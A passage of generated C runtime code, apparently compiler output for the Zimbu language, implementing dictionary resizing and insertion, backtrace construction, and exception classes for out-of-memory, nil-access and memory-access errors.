oldsize = d->mask + 1; if (d->filled * 3 < oldsize * 2 && d->used > oldsize / 5) { #ifdef DICT_DEBUG printf("size OK\n"); #endif return; } if (d->used > 1000) minsize = d->used * 2; else minsize = d->used * 4; } else { if ((Zhashtype)minitems < d->used) minitems = (int)d->used; minsize = minitems * 3 / 2; } newsize = HT_INIT_SIZE; while (newsize < minsize) { newsize <<= 1; if (newsize == 0) { ZthrowInternal(Zstr("ZDictResize")); return; } } #ifdef DICT_DEBUG printf("resizing from %lu to %lu\n", d->mask + 1, newsize); #endif if (newsize == HT_INIT_SIZE) { newarray = d->smallArray; if (d->array == newarray) { memmove(temparray, newarray, sizeof(temparray)); oldarray = temparray; } else oldarray = d->array; memset(newarray, 0, (size_t)(sizeof(CDictItem) * newsize)); } else { newarray = (CDictItem *)ZaOff((sizeof(CDictItem) * newsize)); oldarray = d->array; } newmask = newsize - 1; todo = (int)d->used; for (olditem = oldarray; todo > 0; ++olditem) if (olditem->flags & CDI_FLAG_USED) { newi = (int)(olditem->hash & newmask); newitem = &newarray[newi]; if (newitem->flags != 0) for (perturb = olditem->hash; ; perturb >>= PERTURB_SHIFT) { newi = (int)((newi << 2) + newi + perturb + 1); newitem = &newarray[newi & newmask]; if (newitem->flags == 0) break; } *newitem = *olditem; if (d->type & DTYPE_ORDERED) { olditem->lprev = newitem; } --todo; } if ((d->type & DTYPE_ORDERED) && d->first) { olditem = d->first; newitem = olditem->lprev; newitem->lprev = NULL; d->first = newitem; while (olditem->lnext) { olditem = olditem->lnext; nextitem = olditem->lprev; newitem->lnext = nextitem; newitem->lnext->lprev = newitem; newitem = nextitem; } newitem->lnext = NULL; d->last = newitem; } if (d->array != d->smallArray) Zfree((void*)d->array - ZOH_OFF); d->array = newarray; d->mask = newmask; d->filled = d->used; } /* "ow" is the overwrite flag. When zero it's not allowed to overwrite an * existing entry. */ Td *ZDictAdd(int ow, Td *d, Tz key, Tz value) { Zhashtype hash = ZDictHash(d->keyType, key); CDictItem *di = ZDictLookup(d, key, hash); #ifdef DICT_DEBUG if (d->keyType->nr >= 100) printf("Adding item %s\n", (Tc*)key.ptr); else printf("Adding item %lld\n", key.ival); if (key.ptr != NULL && (strcmp(key.ptr, "ENUM") == 0 || strcmp(key.ptr, "Equal") == 0 || strcmp(key.ptr, "EXIT") == 0)) dumpdict(d); #endif if (di->flags == 0 || di->flags == CDI_FLAG_DEL || ow) { if (di->flags == 0 || di->flags == CDI_FLAG_DEL) { ++d->used; if (di->flags == 0) ++d->filled; } di->hash = hash; if (d->keyType->nr == 391) { di->iokey = *(Tr*)key.ptr; } else if (d->keyType->nr >= 100) { if (di->flags == 0 || di->flags == CDI_FLAG_DEL) { di->key = key; } } else di->key = key; if (d->itemType->nr == 391) di->ioitem = *(Tr*)value.ptr; else di->item = value; di->flags = CDI_FLAG_USED; if (d->type & DTYPE_ORDERED) { di->lprev = d->last; if (d->last) d->last->lnext = di; else d->first = di; d->last = di; di->lnext = NULL; } ZDictResize(d, 0); } else { if (d->keyType->nr >= 100) ZthrowStringKeyExists(key, Zstr("dict.add(): ")); ZthrowIntKeyExists(key, Zstr("dict.add(): ")); } return d; } Td *ZDictAddIobjTz(int ow, Td *d, Tr key, Tz value) { return ZDictAdd(ow, d, (Tz)(void*)&key, value); } Td *ZDictAddTzIobj(int ow, Td *d, Tz key, Tr value) { return ZDictAdd(ow, d, key, (Tz)(void*)&value); } Td *ZDictAddIobjIobj(int ow, Td *d, Tr key, Tr value) { return ZDictAdd(ow, d, (Tz)(void*)&key, (Tz)(void*)&value); } #ifdef DICT_DEBUG dumpdict(Td *d) { int todo = (int)d->used; CDictItem *item; int idx = 0; for (item = d->array; todo > 0; ++item) { if (item->flags & CDI_FLAG_USED) { printf("%2d: %s\n", idx, (Tc*)item->key.ptr); --todo; } else if (item->flags == 0) { printf("%2d: unused\n", idx); } else if (item->flags == CDI_FLAG_DEL) { printf("%2d: deleted\n", idx); } else { printf("%2d: invalid flags: %d\n", idx, item->flags); } ++idx; } } #endif CDictItem *ZDictFind(Td *d, Tz key) { Zhashtype hash = ZDictHash(d->keyType, key); CDictItem *di = ZDictLookup(d, key, hash); if (di->flags & CDI_FLAG_USED) return di; return NULL; } Ti ZDictGetInt(Td *d, Tz key) { CDictItem *di = ZDictFind(d, key); if (di != NULL) { return di->item.ival; } if (d->keyType->nr >= 100) ZthrowStringKeyNotFound(key, Zstr("")); ZthrowIntKeyNotFound(key, Zstr("")); return 0; } Tcode *ZtableIndex(Ti pos100) { Ti pos = pos100 / 100; int l = 0; int h = sizeof(ZcodeTable)/sizeof(Tcode) - 1; int m; while (l <= h) { m = (l + h) / 2; if (ZcodeTable[m].offset == pos) break; if (ZcodeTable[m].offset < pos) l = m + 1; else h = m - 1; } return &ZcodeTable[m]; } YkxB *MZ__callerPos(void) { Tcode *p; Zsf *tf = topFrame; if (tf == NULL) return NULL; tf = tf->prev == NULL ? tf : tf->prev; while (1) { if (tf == NULL) return NULL; if (tf->pos & POS_MASK) { p = ZtableIndex(tf->pos & POS_MASK); if (p->fileName) { return MZ__posnr2pos(NULL, tf->pos & POS_MASK); } } tf = tf->prev; } } Tl *MZ__backtrace(Ti skip, Ti limit) { Tl *head = ZnewList((Tt*)&YkxB__T, 0); int done = 0; Zsf *tf = topFrame; if (skip > 0) { int i; for (i = 0; i < skip && tf != NULL; ++i) tf = tf->prev; } while (tf != NULL) { if (tf->pos & POS_MASK) { YkxB *item = Za(sizeof(YkxB)); if (limit >= 0 && done >= limit) { item->Vfilename = Zstr("truncated"); ZLa(head, -1, (Tz)(void*)item); break; } MZ__posnr2pos(item, tf->pos & POS_MASK); ZLa(head, -1, (Tz)(void*)item); ++done; } tf = tf->prev; } return head; } YkxB *MZ__posnr2pos(YkxB *t, Ti pos) { int i; Tcode *p; Tcpos *pp; if (t == NULL) t = Za(sizeof(YkxB)); p = ZtableIndex(pos); i = pos - p->offset * 100; pp = &p->table[i]; t->Vfilename = Zstr((char*)p->fileName); t->Vtext = Zstr((char*)p->methodName); t->Vlnum = pp->line; if (i) t->Vlnum += p->table[0].line; t->Vcol = pp->col; return t; } /* * FUNCTION BODIES */ /* including EModule bodies */ void YxaJ(Ytlm *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4918300; ZthrowThisNil(); } sf.pos=4918301; if ((t->Vpos != NULL)) { sf.pos=4918302; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=4918303; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=4918304; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=4918305; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=4918306; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=4918307; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } void YxaJa(Ytlm *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3649100; ZthrowThisNil(); } sf.pos=3649101; YxaJ(t, Aw); sf.pos=3649102; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=3649103; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=3649104; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=3649105; if ((Vpos->Vfilename == NULL)) { sf.pos=3649106; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=3649107; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=3649108; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=3649109; if ((Vpos->Vtext != NULL)) { sf.pos=3649110; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=3649111; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=3649112; } } } topFrame = sf.prev; return; } To ToYtlm[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto Ytlm__T = {390, (Tc*)&YDGe, 0, ToYtlm}; void YXHSa(YEro *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9216300; ZthrowThisNil(); } sf.pos=9216301; if ((t->Vpos != NULL)) { sf.pos=9216302; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=9216303; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=9216304; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YxJ1)); sf.pos=9216305; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Zint2string(t->Vvalue)); sf.pos=9216306; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=9216307; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=9216308; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } topFrame = sf.prev; return; } void YEro__YxaJa(YEro *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4298300; ZthrowThisNil(); } sf.pos=4298301; YXHSa(t, Aw); sf.pos=4298302; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=4298303; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=4298304; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=4298305; if ((Vpos->Vfilename == NULL)) { sf.pos=4298306; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=4298307; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=4298308; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=4298309; if ((Vpos->Vtext != NULL)) { sf.pos=4298310; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=4298311; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=4298312; } } } topFrame = sf.prev; return; } To ToYEro[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YEro__T = {390, (Tc*)&YJMo, 0, ToYEro}; YKhn *YDNob(YKhn *t, Ti Asize, Ti Alimit) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=8064400; t = Za(sizeof(YKhn));} sf.pos=8064401; t->Vmessage = ZcS3(((Tc*)&YIBz), Zint2string(Asize), ((Tc*)&YDSH)); sf.pos=8064402; t->Vpos = MZ__callerPos(); sf.pos=8064403; t->Vbacktrace = (sf.pos=8064404, MZ__backtrace(1, Alimit)); topFrame = sf.prev; return t; } void YKhn__YwtA__YxaJa(YKhn *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1121700; ZthrowThisNil(); } sf.pos=1121701; YKhn__YwtA__YxaJ(t, Aw); sf.pos=1121702; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=1121703; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=1121704; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=1121705; if ((Vpos->Vfilename == NULL)) { sf.pos=1121706; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=1121707; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=1121708; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=1121709; if ((Vpos->Vtext != NULL)) { sf.pos=1121710; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=1121711; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=1121712; } } } topFrame = sf.prev; return; } void YKhn__YwtA__YxaJ(YKhn *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2141800; ZthrowThisNil(); } sf.pos=2141801; if ((t->Vpos != NULL)) { sf.pos=2141802; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=2141803; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=2141804; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=2141805; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=2141806; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=2141807; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *YKhn__Ytlm_I_imt[] = { (Tc*)&YKhn__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__COutOfMemory.NEW - YKhn__YwtA__YRHRa */ (Tc*)0, /* MEModule__COutOfMemory.NEW - YKhn__YwtA__YRHR */ (Tc*)0, /* MEModule__COutOfMemory.ToString - YKhn__YwtA__YH0V */ (Tc*)YKhn__YwtA__YxaJa, /* MEModule__COutOfMemory.writeTo - YKhn__YwtA__YxaJa */ (Tc*)YKhn__YwtA__YxaJ, /* MEModule__COutOfMemory.writeTo - YKhn__YwtA__YxaJ */ (Tc*)0, /* MEModule__COutOfMemory.toString - YKhn__YwtA__Yoww */ (Tc*)0, /* MEModule__COutOfMemory.getMessage - YKhn__YwtA__YCzX */ (Tc*)0, /* MEModule__COutOfMemory.getPos - YKhn__YwtA__YvCK */ (Tc*)0, /* MEModule__COutOfMemory.getBacktrace - YKhn__YwtA__Y4bq */ (Tc*)0, /* Init - YKhna */ }; To ToYKhn[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YKhn__T = {390, (Tc*)&Y9Fv, 0, ToYKhn}; void Y1KV(Ti Asize) { Tr ex; Tr t0 = {NULL}; *Znao(&ex, YDNob(NULL, Asize, 30), YKhn__Ytlm_I_imt, 4); ZthrowIobject(ex); } Y1uN *Y1uN__YwtA__YRHR(Y1uN *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=3208600; t = Za(sizeof(Y1uN));} sf.pos=3208601; t->Vmessage = Amsg; sf.pos=3208602; t->Vpos = MZ__callerPos(); sf.pos=3208603; t->Vbacktrace = (sf.pos=3208604, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void Y1uN__YwtA__YxaJa(Y1uN *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3508800; ZthrowThisNil(); } sf.pos=3508801; Y1uN__YwtA__YxaJ(t, Aw); sf.pos=3508802; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=3508803; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=3508804; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=3508805; if ((Vpos->Vfilename == NULL)) { sf.pos=3508806; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=3508807; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=3508808; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=3508809; if ((Vpos->Vtext != NULL)) { sf.pos=3508810; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=3508811; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=3508812; } } } topFrame = sf.prev; return; } void Y1uN__YwtA__YxaJ(Y1uN *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4528900; ZthrowThisNil(); } sf.pos=4528901; if ((t->Vpos != NULL)) { sf.pos=4528902; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=4528903; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=4528904; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=4528905; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=4528906; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=4528907; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *Y1uN__Ytlm_I_imt[] = { (Tc*)&Y1uN__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CNilAccess.NEW - Y1uN__YwtA__YRHRa */ (Tc*)Y1uN__YwtA__YRHR, /* MEModule__CNilAccess.NEW - Y1uN__YwtA__YRHR */ (Tc*)0, /* MEModule__CNilAccess.ToString - Y1uN__YwtA__YH0V */ (Tc*)Y1uN__YwtA__YxaJa, /* MEModule__CNilAccess.writeTo - Y1uN__YwtA__YxaJa */ (Tc*)Y1uN__YwtA__YxaJ, /* MEModule__CNilAccess.writeTo - Y1uN__YwtA__YxaJ */ (Tc*)0, /* MEModule__CNilAccess.toString - Y1uN__YwtA__Yoww */ (Tc*)0, /* MEModule__CNilAccess.getMessage - Y1uN__YwtA__YCzX */ (Tc*)0, /* MEModule__CNilAccess.getPos - Y1uN__YwtA__YvCK */ (Tc*)0, /* MEModule__CNilAccess.getBacktrace - Y1uN__YwtA__Y4bq */ (Tc*)0, /* Init - Y1uNa */ }; To ToY1uN[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto Y1uN__T = {390, (Tc*)&Y4wO, 0, ToY1uN}; void YvdV(YkxB *Apos, Tc *Atext) { Tr ex; Y1uN *Ve = 0; Tr t0 = {NULL}; Ve = Y1uN__YwtA__YRHR(NULL, Atext); if ((Apos != NULL)) { Ve->Vpos = Apos; } *Znao(&ex, Ve, Y1uN__Ytlm_I_imt, 5); ZthrowIobject(ex); } YAxe *YAxe__YwtA__YRHR(YAxe *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=7358000; t = Za(sizeof(YAxe));} sf.pos=7358001; t->Vmessage = Amsg; sf.pos=7358002; t->Vpos = MZ__callerPos(); sf.pos=7358003; t->Vbacktrace = (sf.pos=7358004, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YAxe__YwtA__YxaJa(YAxe *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2595800; ZthrowThisNil(); } sf.pos=2595801; YAxe__YwtA__YxaJ(t, Aw); sf.pos=2595802; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=2595803; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=2595804; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=2595805; if ((Vpos->Vfilename == NULL)) { sf.pos=2595806; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=2595807; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=2595808; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=2595809; if ((Vpos->Vtext != NULL)) { sf.pos=2595810; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=2595811; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=2595812; } } } topFrame = sf.prev; return; } void YAxe__YwtA__YxaJ(YAxe *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3615900; ZthrowThisNil(); } sf.pos=3615901; if ((t->Vpos != NULL)) { sf.pos=3615902; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=3615903; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=3615904; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=3615905; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=3615906; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=3615907; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *YAxe__Ytlm_I_imt[] = { (Tc*)&YAxe__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CMemoryAccess.NEW - YAxe__YwtA__YRHRa */ (Tc*)YAxe__YwtA__YRHR, /* MEModule__CMemoryAccess.NEW - YAxe__YwtA__YRHR */ (Tc*)0, /* MEModule__CMemoryAccess.ToString - YAxe__YwtA__YH0V */ (Tc*)YAxe__YwtA__YxaJa, /* MEModule__CMemoryAccess.writeTo - YAxe__YwtA__YxaJa */ (Tc*)YAxe__YwtA__YxaJ, /* MEModule__CMemoryAccess.writeTo - YAxe__YwtA__YxaJ */ (Tc*)0, /* MEModule__CMemoryAccess.toString - YAxe__YwtA__Yoww */ (Tc*)0, /* MEModule__CMemoryAccess.getMessage - YAxe__YwtA__YCzX */ (Tc*)0, /* MEModule__CMemoryAccess.getPos - YAxe__YwtA__YvCK */ (Tc*)0, /* MEModule__CMemoryAccess.getBacktrace - YAxe__YwtA__Y4bq */ (Tc*)0, /* Init - YAxea */ }; To ToYAxe[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YAxe__T = {390, (Tc*)&Y4QW, 0, ToYAxe}; void YE93(Ti Anr) { Tr ex; Tr t0 = {NULL}; if ((Anr == 11)) { Tr ex; *Znao(&ex, YAxe__YwtA__YRHR(NULL, ((Tc*)&YkfG)), YAxe__Ytlm_I_imt, 6); ZthrowIobject(ex); } if ((Anr == 8)) { Tr ex; *Znao(&ex, YzSI__Ylz1__YwtA__YRHR(NULL, ((Tc*)&YoEx)), YzSI__Ytlm_I_imt, 17); ZthrowIobject(ex); } if ((Anr == 7)) { Tr ex; *Znao(&ex, YAxe__YwtA__YRHR(NULL, ((Tc*)&YQNH)), YAxe__Ytlm_I_imt, 6); ZthrowIobject(ex); } *Znao(&ex, YAxe__YwtA__YRHR(NULL, ZcS(((Tc*)&YpCZ), Zint2string(Anr))), YAxe__Ytlm_I_imt, 6); ZthrowIobject(ex); } YVNj *YVNj__YwtA__YRHR(YVNj *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=5337700; t = Za(sizeof(YVNj));} sf.pos=5337701; t->Vmessage = Amsg; sf.pos=5337702; t->Vpos = MZ__callerPos(); sf.pos=5337703; t->Vbacktrace = (sf.pos=5337704, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YVNj__YwtA__YxaJa(YVNj *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9610700; ZthrowThisNil(); } sf.pos=9610701; YVNj__YwtA__YxaJ(t, Aw); sf.pos=9610702; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=9610703; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=9610704; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=9610705; if ((Vpos->Vfilename == NULL)) { sf.pos=9610706; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=9610707; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=9610708; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=9610709; if ((Vpos->Vtext != NULL)) { sf.pos=9610710; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=9610711; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=9610712; } } } topFrame = sf.prev; return; } void YVNj__YwtA__YxaJ(YVNj *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=630800; ZthrowThisNil(); } sf.pos=630801; if ((t->Vpos != NULL)) { sf.pos=630802; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=630803; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=630804; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=630805; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=630806; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=630807; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *YVNj__Ytlm_I_imt[] = { (Tc*)&YVNj__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CInit.NEW - YVNj__YwtA__YRHRa */ (Tc*)YVNj__YwtA__YRHR, /* MEModule__CInit.NEW - YVNj__YwtA__YRHR */ (Tc*)0, /* MEModule__CInit.ToString - YVNj__YwtA__YH0V */ (Tc*)YVNj__YwtA__YxaJa, /* MEModule__CInit.writeTo - YVNj__YwtA__YxaJa */ (Tc*)YVNj__YwtA__YxaJ, /* MEModule__CInit.writeTo - YVNj__YwtA__YxaJ */ (Tc*)0, /* MEModule__CInit.toString - YVNj__YwtA__Yoww */ (Tc*)0, /* MEModule__CInit.getMessage - YVNj__YwtA__YCzX */ (Tc*)0, /* MEModule__CInit.getPos - YVNj__YwtA__YvCK */ (Tc*)0, /* MEModule__CInit.getBacktrace - YVNj__YwtA__Y4bq */ (Tc*)0, /* Init - YVNja */ }; To ToYVNj[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YVNj__T = {390, (Tc*)&Ysqt, 0, ToYVNj}; void Y3w6(Tc *Atext) { Tr ex; Tr t0 = {NULL}; *Znao(&ex, YVNj__YwtA__YRHR(NULL, Atext), YVNj__Ytlm_I_imt, 7); ZthrowIobject(ex); } Yalz 